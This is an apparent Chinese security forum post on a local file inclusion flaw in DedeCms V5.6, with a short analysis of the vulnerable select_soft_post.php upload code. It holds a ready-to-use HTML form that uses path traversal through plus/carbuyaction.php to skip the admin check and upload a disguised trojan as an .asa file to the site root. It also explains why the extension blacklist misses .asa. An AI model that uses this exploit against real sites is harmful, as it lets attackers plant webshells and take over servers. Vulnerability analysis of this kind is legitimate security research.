DedeCms V5.6 本地包含里的上传漏洞(可是那包含漏洞已经公布)
DedeCmsV5.6 本地包含 <br />DedeCmsV5.6 本地包含 <br />http://t00ls.net/thread-8608-1-1.html <br /><br />之前就发现了这本地包含的利用方法。 <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode26"><br /><form action="http://localhost:8090/plus/carbuyaction.php?dopost=return&action=xxx&code=../../include/dialog/select_soft_post" method="post" enctype="multipart/form-data" name="QuickSearch" id="QuickSearch"> <br /><input type="hidden" name="newname" value="1.asa"> <br /><input type="file" name="uploadfile"> <br /><input type="submit" value="搜索" name="QuickSearchBtn"> <br /></form> <br /></div><br /><br />上传一个图片木马(只改后辍名为图片类型就行),即可在网站根目录生成 1.asa 文件 <br /><br />简单分析: <br />文件:select_soft_post.php <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode27"> <br /><?php <br />if(!isset($cfg_basedir)) <br />{ <br />include_once(dirname(__FILE__).'/config.php'); <br />} <br />//config.php 是用于验证是否管理员。由于本地包含, $cfg_basedir 已经设置了值,应该跳过了验证。 <br /><br />//文件名(前为手工指定, 后者自动处理) <br />if(!empty($newname)) <br />{ <br />$filename = $newname; <br />if(!ereg("\.", $filename)) $fs = explode('.', $uploadfile_name); <br />else $fs = explode('.', $filename); <br />if(eregi($cfg_not_allowall, $fs)) <br />{ <br />ShowMsg("你指定的文件名被系统禁止!",'javascript:;'); <br />exit(); <br />} <br />if(!ereg("\.", $filename)) $filename = $filename.'.'.$fs; <br />}else{ <br />$filename = $cuserLogin->getUserID().'-'.dd2char(MyDate('ymdHis',$nowtme)); <br />$fs = explode('.', $uploadfile_name); <br />if(eregi($cfg_not_allowall, $fs)) <br />{ <br />ShowMsg("你上传了某些可能存在不安全因素的文件,系统拒绝操作!",'javascript:;'); <br />exit(); <br />} <br />$filename = $filename.'.'.$fs; <br />} <br /></div><br />问题就出在 $newname 那里,没验证上传类型,但验证了非可上传类型 <br /><br />//这里强制限定的某些文件类型禁止上传 <br />$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml"; <br /><br /><br />即可以上传非上面类型的文件,有时也并不鸡肋。。
頁:
[1]